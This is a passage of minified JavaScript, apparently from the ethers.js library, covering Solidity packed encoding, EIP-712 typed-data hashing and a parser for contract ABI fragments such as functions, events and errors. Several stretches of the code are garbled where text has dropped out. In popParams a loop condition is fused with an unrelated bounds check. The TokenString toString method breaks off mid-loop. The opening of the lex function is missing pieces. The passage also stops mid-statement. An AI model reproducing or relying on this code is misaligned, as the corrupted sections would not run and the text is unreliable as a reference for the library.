size=parseInt(match[2]||"256");assertArgument((!match[2]||match[2]===String(size))&&size%8===0&&size!==0&&size<=256,"invalid number type","type",type);if(isArray){size=256}if(signed){value=toTwos(value,size)}return getBytes(zeroPadValue(toBeArray(value),size/8))}match=type.match(regexBytes);if(match){const size=parseInt(match[1]);assertArgument(String(size)===match[1]&&size!==0&&size<=32,"invalid bytes type","type",type);assertArgument(dataLength(value)===size,`invalid value for ${type}`,"value",value);if(isArray){return getBytes(zeroPadBytes(value,32))}return value}match=type.match(regexArray);if(match&&Array.isArray(value)){const baseType=match[1];const count=parseInt(match[2]||String(value.length));assertArgument(count===value.length,`invalid array length for ${type}`,"value",value);const result=[];value.forEach(function(value){result.push(_pack(baseType,value,true))});return getBytes(concat(result))}assertArgument(false,"invalid type","type",type)}function solidityPacked(types,values){assertArgument(types.length===values.length,"wrong number of values; expected ${ types.length }","values",values);const tight=[];types.forEach(function(type,index){tight.push(_pack(type,values[index]))});return hexlify(concat(tight))}function solidityPackedKeccak256(types,values){return keccak256(solidityPacked(types,values))}function solidityPackedSha256(types,values){return sha256(solidityPacked(types,values))}const padding=new Uint8Array(32);padding.fill(0);const BN__1=BigInt(-1);const BN_0$3=BigInt(0);const BN_1$1=BigInt(1);const BN_MAX_UINT256=BigInt("0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff");function hexPadRight(value){const bytes=getBytes(value);const padOffset=bytes.length%32;if(padOffset){return concat([bytes,padding.slice(padOffset)])}return hexlify(bytes)}const hexTrue=toBeHex(BN_1$1,32);const hexFalse=toBeHex(BN_0$3,32);const domainFieldTypes={name:"string",version:"string",chainId:"uint256",verifyingContract:"address",salt:"bytes32"};const domainFieldNames=["name","version","chainId","verifyingContract","salt"];function checkString(key){return function(value){assertArgument(typeof value==="string",`invalid domain value for ${JSON.stringify(key)}`,`domain.${key}`,value);return value}}const domainChecks={name:checkString("name"),version:checkString("version"),chainId:function(_value){const value=getBigInt(_value,"domain.chainId");assertArgument(value>=0,"invalid chain ID","domain.chainId",_value);if(Number.isSafeInteger(value)){return Number(value)}return toQuantity(value)},verifyingContract:function(value){try{return getAddress(value).toLowerCase()}catch(error){}assertArgument(false,`invalid domain value "verifyingContract"`,"domain.verifyingContract",value)},salt:function(value){const bytes=getBytes(value,"domain.salt");assertArgument(bytes.length===32,`invalid domain value "salt"`,"domain.salt",value);return hexlify(bytes)}};function getBaseEncoder(type){{const match=type.match(/^(u?)int(\d+)$/);if(match){const signed=match[1]==="";const width=parseInt(match[2]);assertArgument(width%8===0&&width!==0&&width<=256&&match[2]===String(width),"invalid numeric width","type",type);const boundsUpper=mask(BN_MAX_UINT256,signed?width-1:width);const boundsLower=signed?(boundsUpper+BN_1$1)*BN__1:BN_0$3;return function(_value){const value=getBigInt(_value,"value");assertArgument(value>=boundsLower&&value<=boundsUpper,`value out-of-bounds for ${type}`,"value",value);return toBeHex(signed?toTwos(value,256):value,32)}}}{const match=type.match(/^bytes(\d+)$/);if(match){const width=parseInt(match[1]);assertArgument(width!==0&&width<=32&&match[1]===String(width),"invalid bytes width","type",type);return function(value){const bytes=getBytes(value);assertArgument(bytes.length===width,`invalid length for ${type}`,"value",value);return hexPadRight(value)}}}switch(type){case"address":return function(value){return zeroPadValue(getAddress(value),32)};case"bool":return function(value){return!value?hexFalse:hexTrue};case"bytes":return function(value){return keccak256(value)};case"string":return function(value){return id(value)}}return null}function encodeType(name,fields){return`${name}(${fields.map(({name,type})=>type+" "+name).join(",")})`}function splitArray(type){const match=type.match(/^([^\x5b]*)((\x5b\d*\x5d)*)(\x5b(\d*)\x5d)$/);if(match){return{base:match[1],index:match[2]+match[4],array:{base:match[1],prefix:match[1]+match[2],count:match[5]?parseInt(match[5]):-1}}}return{base:type}}class TypedDataEncoder{primaryType;#types;get types(){return JSON.parse(this.#types)}#fullTypes;#encoderCache;constructor(_types){this.#fullTypes=new Map;this.#encoderCache=new Map;const links=new Map;const parents=new Map;const subtypes=new Map;const types={};Object.keys(_types).forEach(type=>{types[type]=_types[type].map(({name,type})=>{let{base,index}=splitArray(type);if(base==="int"&&!_types["int"]){base="int256"}if(base==="uint"&&!_types["uint"]){base="uint256"}return{name:name,type:base+(index||"")}});links.set(type,new Set);parents.set(type,[]);subtypes.set(type,new Set)});this.#types=JSON.stringify(types);for(const name in types){const uniqueNames=new Set;for(const field of types[name]){assertArgument(!uniqueNames.has(field.name),`duplicate variable name ${JSON.stringify(field.name)} in ${JSON.stringify(name)}`,"types",_types);uniqueNames.add(field.name);const baseType=splitArray(field.type).base;assertArgument(baseType!==name,`circular type reference to ${JSON.stringify(baseType)}`,"types",_types);const encoder=getBaseEncoder(baseType);if(encoder){continue}assertArgument(parents.has(baseType),`unknown type ${JSON.stringify(baseType)}`,"types",_types);parents.get(baseType).push(name);links.get(name).add(baseType)}}const primaryTypes=Array.from(parents.keys()).filter(n=>parents.get(n).length===0);assertArgument(primaryTypes.length!==0,"missing primary type","types",_types);assertArgument(primaryTypes.length===1,`ambiguous primary types or unused types: ${primaryTypes.map(t=>JSON.stringify(t)).join(", ")}`,"types",_types);defineProperties(this,{primaryType:primaryTypes[0]});function checkCircular(type,found){assertArgument(!found.has(type),`circular type reference to ${JSON.stringify(type)}`,"types",_types);found.add(type);for(const child of links.get(type)){if(!parents.has(child)){continue}checkCircular(child,found);for(const subtype of found){subtypes.get(subtype).add(child)}}found.delete(type)}checkCircular(this.primaryType,new Set);for(const[name,set]of subtypes){const st=Array.from(set);st.sort();this.#fullTypes.set(name,encodeType(name,types[name])+st.map(t=>encodeType(t,types[t])).join(""))}}getEncoder(type){let encoder=this.#encoderCache.get(type);if(!encoder){encoder=this.#getEncoder(type);this.#encoderCache.set(type,encoder)}return encoder}#getEncoder(type){{const encoder=getBaseEncoder(type);if(encoder){return encoder}}const array=splitArray(type).array;if(array){const subtype=array.prefix;const subEncoder=this.getEncoder(subtype);return value=>{assertArgument(array.count===-1||array.count===value.length,`array length mismatch; expected length ${array.count}`,"value",value);let result=value.map(subEncoder);if(this.#fullTypes.has(subtype)){result=result.map(keccak256)}return keccak256(concat(result))}}const fields=this.types[type];if(fields){const encodedType=id(this.#fullTypes.get(type));return value=>{const values=fields.map(({name,type})=>{const result=this.getEncoder(type)(value[name]);if(this.#fullTypes.has(type)){return keccak256(result)}return result});values.unshift(encodedType);return concat(values)}}assertArgument(false,`unknown type: ${type}`,"type",type)}encodeType(name){const result=this.#fullTypes.get(name);assertArgument(result,`unknown type: ${JSON.stringify(name)}`,"name",name);return result}encodeData(type,value){return this.getEncoder(type)(value)}hashStruct(name,value){return keccak256(this.encodeData(name,value))}encode(value){return this.encodeData(this.primaryType,value)}hash(value){return this.hashStruct(this.primaryType,value)}_visit(type,value,callback){{const encoder=getBaseEncoder(type);if(encoder){return callback(type,value)}}const array=splitArray(type).array;if(array){assertArgument(array.count===-1||array.count===value.length,`array length mismatch; expected length ${array.count}`,"value",value);return value.map(v=>this._visit(array.prefix,v,callback))}const fields=this.types[type];if(fields){return fields.reduce((accum,{name,type})=>{accum[name]=this._visit(type,value[name],callback);return accum},{})}assertArgument(false,`unknown type: ${type}`,"type",type)}visit(value,callback){return this._visit(this.primaryType,value,callback)}static from(types){return new TypedDataEncoder(types)}static getPrimaryType(types){return TypedDataEncoder.from(types).primaryType}static hashStruct(name,types,value){return TypedDataEncoder.from(types).hashStruct(name,value)}static hashDomain(domain){const domainFields=[];for(const name in domain){if(domain[name]==null){continue}const type=domainFieldTypes[name];assertArgument(type,`invalid typed-data domain key: ${JSON.stringify(name)}`,"domain",domain);domainFields.push({name:name,type:type})}domainFields.sort((a,b)=>{return domainFieldNames.indexOf(a.name)-domainFieldNames.indexOf(b.name)});return TypedDataEncoder.hashStruct("EIP712Domain",{EIP712Domain:domainFields},domain)}static encode(domain,types,value){return concat(["0x1901",TypedDataEncoder.hashDomain(domain),TypedDataEncoder.from(types).hash(value)])}static hash(domain,types,value){return keccak256(TypedDataEncoder.encode(domain,types,value))}static async resolveNames(domain,types,value,resolveName){domain=Object.assign({},domain);for(const key in domain){if(domain[key]==null){delete domain[key]}}const ensCache={};if(domain.verifyingContract&&!isHexString(domain.verifyingContract,20)){ensCache[domain.verifyingContract]="0x"}const encoder=TypedDataEncoder.from(types);encoder.visit(value,(type,value)=>{if(type==="address"&&!isHexString(value,20)){ensCache[value]="0x"}return value});for(const name in ensCache){ensCache[name]=await resolveName(name)}if(domain.verifyingContract&&ensCache[domain.verifyingContract]){domain.verifyingContract=ensCache[domain.verifyingContract]}value=encoder.visit(value,(type,value)=>{if(type==="address"&&ensCache[value]){return ensCache[value]}return value});return{domain:domain,value:value}}static getPayload(domain,types,value){TypedDataEncoder.hashDomain(domain);const domainValues={};const domainTypes=[];domainFieldNames.forEach(name=>{const value=domain[name];if(value==null){return}domainValues[name]=domainChecks[name](value);domainTypes.push({name:name,type:domainFieldTypes[name]})});const encoder=TypedDataEncoder.from(types);types=encoder.types;const typesWithDomain=Object.assign({},types);assertArgument(typesWithDomain.EIP712Domain==null,"types must not contain EIP712Domain type","types.EIP712Domain",types);typesWithDomain.EIP712Domain=domainTypes;encoder.encode(value);return{types:typesWithDomain,domain:domainValues,primaryType:encoder.primaryType,message:encoder.visit(value,(type,value)=>{if(type.match(/^bytes(\d*)/)){return hexlify(getBytes(value))}if(type.match(/^u?int/)){return getBigInt(value).toString()}switch(type){case"address":return value.toLowerCase();case"bool":return!!value;case"string":assertArgument(typeof value==="string","invalid string","value",value);return value}assertArgument(false,"unsupported type","type",type)})}}}function verifyTypedData(domain,types,value,signature){return recoverAddress(TypedDataEncoder.hash(domain,types,value),signature)}function setify(items){const result=new Set;items.forEach(k=>result.add(k));return Object.freeze(result)}const _kwVisibDeploy="external public payable override";const KwVisibDeploy=setify(_kwVisibDeploy.split(" "));const _kwVisib="constant external internal payable private public pure view override";const KwVisib=setify(_kwVisib.split(" "));const _kwTypes="constructor error event fallback function receive struct";const KwTypes=setify(_kwTypes.split(" "));const _kwModifiers="calldata memory storage payable indexed";const KwModifiers=setify(_kwModifiers.split(" "));const _kwOther="tuple returns";const _keywords=[_kwTypes,_kwModifiers,_kwOther,_kwVisib].join(" ");const Keywords=setify(_keywords.split(" "));const SimpleTokens={"(":"OPEN_PAREN",")":"CLOSE_PAREN","[":"OPEN_BRACKET","]":"CLOSE_BRACKET",",":"COMMA","@":"AT"};const regexWhitespacePrefix=new RegExp("^(\\s*)");const regexNumberPrefix=new RegExp("^([0-9]+)");const regexIdPrefix=new RegExp("^([a-zA-Z$_][a-zA-Z0-9$_]*)");const regexId=new RegExp("^([a-zA-Z$_][a-zA-Z0-9$_]*)$");const regexType=new RegExp("^(address|bool|bytes([0-9]*)|string|u?int([0-9]*))$");class TokenString{#offset;#tokens;get offset(){return this.#offset}get length(){return this.#tokens.length-this.#offset}constructor(tokens){this.#offset=0;this.#tokens=tokens.slice()}clone(){return new TokenString(this.#tokens)}reset(){this.#offset=0}#subTokenString(from=0,to=0){return new TokenString(this.#tokens.slice(from,to).map(t=>{return Object.freeze(Object.assign({},t,{match:t.match-from,linkBack:t.linkBack-from,linkNext:t.linkNext-from}))}))}popKeyword(allowed){const top=this.peek();if(top.type!=="KEYWORD"||!allowed.has(top.text)){throw new Error(`expected keyword ${top.text}`)}return this.pop().text}popType(type){if(this.peek().type!==type){const top=this.peek();throw new Error(`expected ${type}; got ${top.type} ${JSON.stringify(top.text)}`)}return this.pop().text}popParen(){const top=this.peek();if(top.type!=="OPEN_PAREN"){throw new Error("bad start")}const result=this.#subTokenString(this.#offset+1,top.match+1);this.#offset=top.match+1;return result}popParams(){const top=this.peek();if(top.type!=="OPEN_PAREN"){throw new Error("bad start")}const result=[];while(this.#offset=this.#tokens.length){throw new Error("out-of-bounds")}return this.#tokens[this.#offset]}peekKeyword(allowed){const top=this.peekType("KEYWORD");return top!=null&&allowed.has(top)?top:null}peekType(type){if(this.length===0){return null}const top=this.peek();return top.type===type?top.text:null}pop(){const result=this.peek();this.#offset++;return result}toString(){const tokens=[];for(let i=this.#offset;i`}}function lex(text){const tokens=[];const throwError=message=>{const token=offset0&&tokens[tokens.length-1].type==="NUMBER"){const value=tokens.pop().text;suffix=value+suffix;tokens[tokens.length-1].value=getNumber(value)}if(tokens.length===0||tokens[tokens.length-1].type!=="BRACKET"){throw new Error("missing opening bracket")}tokens[tokens.length-1].text+=suffix}continue}match=cur.match(regexIdPrefix);if(match){token.text=match[1];offset+=token.text.length;if(Keywords.has(token.text)){token.type="KEYWORD";continue}if(token.text.match(regexType)){token.type="TYPE";continue}token.type="ID";continue}match=cur.match(regexNumberPrefix);if(match){token.text=match[1];token.type="NUMBER";offset+=token.text.length;continue}throw new Error(`unexpected token ${JSON.stringify(cur[0])} at position ${offset}`)}return new TokenString(tokens.map(t=>Object.freeze(t)))}function allowSingle(set,allowed){let included=[];for(const key in allowed.keys()){if(set.has(key)){included.push(key)}}if(included.length>1){throw new Error(`conflicting types: ${included.join(", ")}`)}}function consumeName(type,tokens){if(tokens.peekKeyword(KwTypes)){const keyword=tokens.pop().text;if(keyword!==type){throw new Error(`expected ${type}, got ${keyword}`)}}return tokens.popType("ID")}function consumeKeywords(tokens,allowed){const keywords=new Set;while(true){const keyword=tokens.peekType("KEYWORD");if(keyword==null||allowed&&!allowed.has(keyword)){break}tokens.pop();if(keywords.has(keyword)){throw new Error(`duplicate keywords: ${JSON.stringify(keyword)}`)}keywords.add(keyword)}return Object.freeze(keywords)}function consumeMutability(tokens){let modifiers=consumeKeywords(tokens,KwVisib);allowSingle(modifiers,setify("constant payable nonpayable".split(" ")));allowSingle(modifiers,setify("pure view payable nonpayable".split(" ")));if(modifiers.has("view")){return"view"}if(modifiers.has("pure")){return"pure"}if(modifiers.has("payable")){return"payable"}if(modifiers.has("nonpayable")){return"nonpayable"}if(modifiers.has("constant")){return"view"}return"nonpayable"}function consumeParams(tokens,allowIndexed){return tokens.popParams().map(t=>ParamType.from(t,allowIndexed))}function consumeGas(tokens){if(tokens.peekType("AT")){tokens.pop();if(tokens.peekType("NUMBER")){return getBigInt(tokens.pop().text)}throw new Error("invalid gas")}return null}function consumeEoi(tokens){if(tokens.length){throw new Error(`unexpected tokens at offset ${tokens.offset}: ${tokens.toString()}`)}}const regexArrayType=new RegExp(/^(.*)\[([0-9]*)\]$/);function verifyBasicType(type){const match=type.match(regexType);assertArgument(match,"invalid type","type",type);if(type==="uint"){return"uint256"}if(type==="int"){return"int256"}if(match[2]){const length=parseInt(match[2]);assertArgument(length!==0&&length<=32,"invalid bytes length","type",type)}else if(match[3]){const size=parseInt(match[3]);assertArgument(size!==0&&size<=256&&size%8===0,"invalid numeric width","type",type)}return type}const _guard$2={};const internal$1=Symbol.for("_ethers_internal");const ParamTypeInternal="_ParamTypeInternal";const ErrorFragmentInternal="_ErrorInternal";const EventFragmentInternal="_EventInternal";const ConstructorFragmentInternal="_ConstructorInternal";const FallbackFragmentInternal="_FallbackInternal";const FunctionFragmentInternal="_FunctionInternal";const StructFragmentInternal="_StructInternal";class ParamType{name;type;baseType;indexed;components;arrayLength;arrayChildren;constructor(guard,name,type,baseType,indexed,components,arrayLength,arrayChildren){assertPrivate(guard,_guard$2,"ParamType");Object.defineProperty(this,internal$1,{value:ParamTypeInternal});if(components){components=Object.freeze(components.slice())}if(baseType==="array"){if(arrayLength==null||arrayChildren==null){throw new Error("")}}else if(arrayLength!=null||arrayChildren!=null){throw new Error("")}if(baseType==="tuple"){if(components==null){throw new Error("")}}else if(components!=null){throw new Error("")}defineProperties(this,{name:name,type:type,baseType:baseType,indexed:indexed,components:components,arrayLength:arrayLength,arrayChildren:arrayChildren})}format(format){if(format==null){format="sighash"}if(format==="json"){const name=this.name||"";if(this.isArray()){const result=JSON.parse(this.arrayChildren.format("json"));result.name=name;result.type+=`[${this.arrayLength<0?"":String(this.arrayLength)}]`;return JSON.stringify(result)}const result={type:this.baseType==="tuple"?"tuple":this.type,name:name};if(typeof this.indexed==="boolean"){result.indexed=this.indexed}if(this.isTuple()){result.components=this.components.map(c=>JSON.parse(c.format(format)))}return JSON.stringify(result)}let result="";if(this.isArray()){result+=this.arrayChildren.format(format);result+=`[${this.arrayLength<0?"":String(this.arrayLength)}]`}else{if(this.isTuple()){result+="("+this.components.map(comp=>comp.format(format)).join(format==="full"?", ":",")+")"}else{result+=this.type}}if(format!=="sighash"){if(this.indexed===true){result+=" indexed"}if(format==="full"&&this.name){result+=" "+this.name}}return result}isArray(){return this.baseType==="array"}isTuple(){return this.baseType==="tuple"}isIndexable(){return this.indexed!=null}walk(value,process){if(this.isArray()){if(!Array.isArray(value)){throw new Error("invalid array value")}if(this.arrayLength!==-1&&value.length!==this.arrayLength){throw new Error("array is wrong length")}const _this=this;return value.map(v=>_this.arrayChildren.walk(v,process))}if(this.isTuple()){if(!Array.isArray(value)){throw new Error("invalid tuple value")}if(value.length!==this.components.length){throw new Error("array is wrong length")}const _this=this;return value.map((v,i)=>_this.components[i].walk(v,process))}return process(this.type,value)}#walkAsync(promises,value,process,setValue){if(this.isArray()){if(!Array.isArray(value)){throw new Error("invalid array value")}if(this.arrayLength!==-1&&value.length!==this.arrayLength){throw new Error("array is wrong length")}const childType=this.arrayChildren;const result=value.slice();result.forEach((value,index)=>{childType.#walkAsync(promises,value,process,value=>{result[index]=value})});setValue(result);return}if(this.isTuple()){const components=this.components;let result;if(Array.isArray(value)){result=value.slice()}else{if(value==null||typeof value!=="object"){throw new Error("invalid tuple value")}result=components.map(param=>{if(!param.name){throw new Error("cannot use object value with unnamed components")}if(!(param.name in value)){throw new Error(`missing value for component ${param.name}`)}return value[param.name]})}if(result.length!==this.components.length){throw new Error("array is wrong length")}result.forEach((value,index)=>{components[index].#walkAsync(promises,value,process,value=>{result[index]=value})});setValue(result);return}const result=process(this.type,value);if(result.then){promises.push(async function(){setValue(await result)}())}else{setValue(result)}}async walkAsync(value,process){const promises=[];const result=[value];this.#walkAsync(promises,value,process,value=>{result[0]=value});if(promises.length){await Promise.all(promises)}return result[0]}static from(obj,allowIndexed){if(ParamType.isParamType(obj)){return obj}if(typeof obj==="string"){try{return ParamType.from(lex(obj),allowIndexed)}catch(error){assertArgument(false,"invalid param type","obj",obj)}}else if(obj instanceof TokenString){let type="",baseType="";let comps=null;if(consumeKeywords(obj,setify(["tuple"])).has("tuple")||obj.peekType("OPEN_PAREN")){baseType="tuple";comps=obj.popParams().map(t=>ParamType.from(t));type=`tuple(${comps.map(c=>c.format()).join(",")})`}else{type=verifyBasicType(obj.popType("TYPE"));baseType=type}let arrayChildren=null;let arrayLength=null;while(obj.length&&obj.peekType("BRACKET")){const bracket=obj.pop();arrayChildren=new ParamType(_guard$2,"",type,baseType,null,comps,arrayLength,arrayChildren);arrayLength=bracket.value;type+=bracket.text;baseType="array";comps=null}let indexed=null;const keywords=consumeKeywords(obj,KwModifiers);if(keywords.has("indexed")){if(!allowIndexed){throw new Error("")}indexed=true}const name=obj.peekType("ID")?obj.pop().text:"";if(obj.length){throw new Error("leftover tokens")}return new ParamType(_guard$2,name,type,baseType,indexed,comps,arrayLength,arrayChildren)}const name=obj.name;assertArgument(!name||typeof name==="string"&&name.match(regexId),"invalid name","obj.name",name);let indexed=obj.indexed;if(indexed!=null){assertArgument(allowIndexed,"parameter cannot be indexed","obj.indexed",obj.indexed);indexed=!!indexed}let type=obj.type;let arrayMatch=type.match(regexArrayType);if(arrayMatch){const arrayLength=parseInt(arrayMatch[2]||"-1");const arrayChildren=ParamType.from({type:arrayMatch[1],components:obj.components});return new ParamType(_guard$2,name||"",type,"array",indexed,null,arrayLength,arrayChildren)}if(type==="tuple"||type.startsWith("tuple(")||type.startsWith("(")){const comps=obj.components!=null?obj.components.map(c=>ParamType.from(c)):null;const tuple=new ParamType(_guard$2,name||"",type,"tuple",indexed,comps,null,null);return tuple}type=verifyBasicType(obj.type);return new ParamType(_guard$2,name||"",type,type,indexed,null,null,null)}static isParamType(value){return value&&value[internal$1]===ParamTypeInternal}}class Fragment{type;inputs;constructor(guard,type,inputs){assertPrivate(guard,_guard$2,"Fragment");inputs=Object.freeze(inputs.slice());defineProperties(this,{type:type,inputs:inputs})}static from(obj){if(typeof obj==="string"){try{Fragment.from(JSON.parse(obj))}catch(e){}return Fragment.from(lex(obj))}if(obj instanceof TokenString){const type=obj.peekKeyword(KwTypes);switch(type){case"constructor":return ConstructorFragment.from(obj);case"error":return ErrorFragment.from(obj);case"event":return EventFragment.from(obj);case"fallback":case"receive":return FallbackFragment.from(obj);case"function":return FunctionFragment.from(obj);case"struct":return StructFragment.from(obj)}}else if(typeof obj==="object"){switch(obj.type){case"constructor":return ConstructorFragment.from(obj);case"error":return ErrorFragment.from(obj);case"event":return EventFragment.from(obj);case"fallback":case"receive":return FallbackFragment.from(obj);case"function":return FunctionFragment.from(obj);case"struct":return StructFragment.from(obj)}assert(false,`unsupported type: ${obj.type}`,"UNSUPPORTED_OPERATION",{operation:"Fragment.from"})}assertArgument(false,"unsupported frgament object","obj",obj)}static isConstructor(value){return ConstructorFragment.isFragment(value)}static isError(value){return ErrorFragment.isFragment(value)}static isEvent(value){return EventFragment.isFragment(value)}static isFunction(value){return FunctionFragment.isFragment(value)}static isStruct(value){return StructFragment.isFragment(value)}}class NamedFragment extends Fragment{name;constructor(guard,type,name,inputs){super(guard,type,inputs);assertArgument(typeof name==="string"&&name.match(regexId),"invalid identifier","name",name);inputs=Object.freeze(inputs.slice());defineProperties(this,{name:name})}}function joinParams(format,params){return"("+params.map(p=>p.format(format)).join(format==="full"?", ":",")+")"}class ErrorFragment extends NamedFragment{constructor(guard,name,inputs){super(guard,"error",name,inputs);Object.defineProperty(this,internal$1,{value:ErrorFragmentInternal})}get selector(){return id(this.format("sighash")).substring(0,10)}format(format){if(format==null){format="sighash"}if(format==="json"){return JSON.stringify({type:"error",name:this.name,inputs:this.inputs.map(input=>JSON.parse(input.format(format)))})}const result=[];if(format!=="sighash"){result.push("error")}result.push(this.name+joinParams(format,this.inputs));return result.join(" ")}static from(obj){if(ErrorFragment.isFragment(obj)){return obj}if(typeof obj==="string"){return ErrorFragment.from(lex(obj))}else if(obj instanceof TokenString){const name=consumeName("error",obj);const inputs=consumeParams(obj);consumeEoi(obj);return new ErrorFragment(_guard$2,name,inputs)}return new ErrorFragment(_guard$2,obj.name,obj.inputs?obj.inputs.map(ParamType.from):[])}static isFragment(value){return value&&value[internal$1]===ErrorFragmentInternal}}class EventFragment extends NamedFragment{anonymous;constructor(guard,name,inputs,anonymous){super(guard,"event",name,inputs);Object.defineProperty(this,internal$1,{value:EventFragmentInternal});defineProperties(this,{anonymous:anonymous})}get topicHash(){return id(this.format("sighash"))}format(format){if(format==null){format="sighash"}if(format==="json"){return JSON.stringify({type:"event",anonymous:this.anonymous,name:this.name,inputs:this.inputs.map(i=>JSON.parse(i.format(format)))})}const result=[];if(format!=="sighash"){result.push("event")}result.push(this.name+joinParams(format,this.inputs));if(format!=="sighash"&&this.anonymous){result.push("anonymous")}return result.join(" ")}static getTopicHash(name,params){params=(params||[]).map(p=>ParamType.from(p));const fragment=new EventFragment(_guard$2,name,params,false);return fragment.topicHash}static from(obj){if(EventFragment.isFragment(obj)){return obj}if(typeof obj==="string"){try{return EventFragment.from(lex(obj))}catch(error){assertArgument(false,"invalid event fragment","obj",obj)}}else if(obj instanceof TokenString){const name=consumeName("event",obj);const inputs=consumeParams(obj,true);const anonymous=!!consumeKeywords(obj,setify(["anonymous"])).has("anonymous");consumeEoi(obj);return new EventFragment(_guard$2,name,inputs,anonymous)}return new EventFragment(_guard$2,obj.name,obj.inputs?obj.inputs.map(p=>ParamType.from(p,true)):[],!!obj.anonymous)}static isFragment(value){return value&&value[internal$1]===EventFragmentInternal}}class ConstructorFragment extends Fragment{payable;gas;constructor(guard,type,inputs,payable,gas){super(guard,type,inputs);Object.defineProperty(this,internal$1,{value:ConstructorFragmentInternal});defineProperties(this,{payable:payable,gas:gas})}format(format){assert(format!=null&&format!=="sighash","cannot format a constructor for sighash","UNSUPPORTED_OPERATION",{operation:"format(sighash)"});if(format==="json"){return JSON.stringify({type:"constructor",stateMutability:this.payable?"payable":"undefined",payable:this.payable,gas:this.gas!=null?this.gas:undefined,inputs:this.inputs.map(i=>JSON.parse(i.format(format)))})}const result=[`constructor${joinParams(format,this.inputs)}`];if(this.payable){result.push("payable")}if(this.gas!=null){result.push(`@${this.gas.toString()}`)}return result.join(" ")}static from(obj){if(ConstructorFragment.isFragment(obj)){return obj}if(typeof obj==="string"){try{return ConstructorFragment.from(lex(obj))}catch(error){assertArgument(false,"invalid constuctor fragment","obj",obj)}}else if(obj instanceof TokenString){consumeKeywords(obj,setify(["constructor"]));const inputs=consumeParams(obj);const payable=!!consumeKeywords(obj,KwVisibDeploy).has("payable");const gas=consumeGas(obj);consumeEoi(obj);return new ConstructorFragment(_guard$2,"constructor",inputs,payable,gas)}return new ConstructorFragment(_guard$2,"constructor",obj.inputs?obj.inputs.map(ParamType.from):[],!!obj.payable,obj.gas!=null?obj.gas:null)}static isFragment(value){return value&&value[internal$1]===ConstructorFragmentInternal}}class FallbackFragment extends Fragment{payable;constructor(guard,inputs,payable){super(guard,"fallback",inputs);Object.defineProperty(this,internal$1,{value:FallbackFragmentInternal});defineProperties(this,{payable:payable})}format(format){const type=this.inputs.length===0?"receive":"fallback";if(format==="json"){const stateMutability=this.payable?"payable":"nonpayable";return JSON.stringify({type:type,stateMutability:stateMutability})}return`${type}()${this.payable?" payable":""}`}static from(obj){if(FallbackFragment.isFragment(obj)){return obj}if(typeof obj==="string"){try{return FallbackFragment.from(lex(obj))}catch(error){assertArgument(false,"invalid fallback fragment","obj",obj)}}else if(obj instanceof TokenString){const errorObj=obj.toString();const topIsValid=obj.peekKeyword(setify(["fallback","receive"]));assertArgument(topIsValid,"type must be fallback or receive","obj",errorObj);const type=obj.popKeyword(setify(["fallback","receive"]));if(type==="receive"){const inputs=consumeParams(obj);assertArgument(inputs.length===0,`receive cannot have arguments`,"obj.inputs",inputs);consumeKeywords(obj,setify(["payable"]));consumeEoi(obj);return new FallbackFragment(_guard$2,[],true)}let inputs=consumeParams(obj);if(inputs.length){assertArgument(inputs.length===1&&inputs[0].type==="bytes","invalid fallback inputs","obj.inputs",inputs.map(i=>i.format("minimal")).join(", "))}else{inputs=[ParamType.from("bytes")]}const mutability=consumeMutability(obj);assertArgument(mutability==="nonpayable"||mutability==="payable","fallback cannot be constants","obj.stateMutability",mutability);if(consumeKeywords(obj,setify(["returns"])).has("returns")){const outputs=consumeParams(obj);assertArgument(outputs.length===1&&outputs[0].type==="bytes","invalid fallback outputs","obj.outputs",outputs.map(i=>i.format("minimal")).join(", "))}consumeEoi(obj);return new FallbackFragment(_guard$2,inputs,mutability==="payable")}if(obj.type==="receive"){return new FallbackFragment(_guard$2,[],true)}if(obj.type==="fallback"){const inputs=[ParamType.from("bytes")];const payable=obj.stateMutability==="payable";return new FallbackFragment(_guard$2,inputs,payable)}assertArgument(false,"invalid fallback description","obj",obj)}static isFragment(value){return value&&value[internal$1]===FallbackFragmentInternal}}class FunctionFragment extends NamedFragment{constant;outputs;stateMutability;payable;gas;constructor(guard,name,stateMutability,inputs,outputs,gas){super(guard,"function",name,inputs);Object.defineProperty(this,internal$1,{value:FunctionFragmentInternal});outputs=Object.freeze(outputs.slice());const constant=stateMutability==="view"||stateMutability==="pure";const payable=stateMutability==="payable";defineProperties(this,{constant:constant,gas:gas,outputs:outputs,payable:payable,stateMutability:stateMutability})}get selector(){return id(this.format("sighash")).substring(0,10)}format(format){if(format==null){format="sighash"}if(format==="json"){return JSON.stringify({type:"function",name:this.name,constant:this.constant,stateMutability:this.stateMutability!=="nonpayable"?this.stateMutability:undefined,payable:this.payable,gas:this.gas!=null?this.gas:undefined,inputs:this.inputs.map(i=>JSON.parse(i.format(format))),outputs:this.outputs.map(o=>JSON.parse(o.format(format)))})}const result=[];if(format!=="sighash"){result.push("function")}result.push(this.name+joinParams(format,this.inputs));if(format!=="sighash"){if(this.stateMutability!=="nonpayable"){result.push(this.stateMutability)}if(this.outputs&&this.outputs.length){result.push("returns");result.push(joinParams(format,this.outputs))}if(this.gas!=null){result.push(`@${this.gas.toString()}`)}}return result.join(" ")}static getSelector(name,params){params=(params||[]).map(p=>ParamType.from(p));const fragment=new FunctionFragment(_guard$2,name,"view",params,[],null);return fragment.selector}static from(obj){if(FunctionFragment.isFragment(obj)){return obj}if(typeof obj==="string"){try{return FunctionFragment.from(lex(obj))}catch(error){assertArgument(false,"invalid function fragment","obj",obj)}}else if(obj instanceof TokenString){const name=consumeName("function",obj);const inputs=consumeParams(obj);const mutability=consumeMutability(obj);let outputs=[];if(consumeKeywords(obj,setify(["returns"])).has("returns")){outputs=consumeParams(obj)}const gas=consumeGas(obj);consumeEoi(obj);return new FunctionFragment(_guard$2,name,mutability,inputs,outputs,gas)}let stateMutability=obj.stateMutability;if(stateMutability==null){stateMutability="payable";if(typeof obj.constant==="boolean"){stateMutability="view";if(!obj.constant){stateMutability="payable";if(typeof obj.payable==="boolean"&&!obj.payable){stateMutability="nonpayable"}}}else if(typeof obj.payable==="boolean"&&!obj.payable){stateMutability="nonpayable"}}return new FunctionFragment(_guard$2,obj.name,stateMutability,obj.inputs?obj.inputs.map(ParamType.from):[],obj.outputs?obj.outputs.map(ParamType.from):[],obj.gas!=null?obj.gas:null)}static isFragment(value){return value&&value[internal$1]===FunctionFragmentInternal}}class StructFragment extends NamedFragment{constructor(guard,name,inputs){super(guard,"struct",name,inputs);Object.defineProperty(this,internal$1,{value:StructFragmentInternal})}format(){throw new Error("@TODO")}static from(obj){if(typeof obj==="string"){try{return 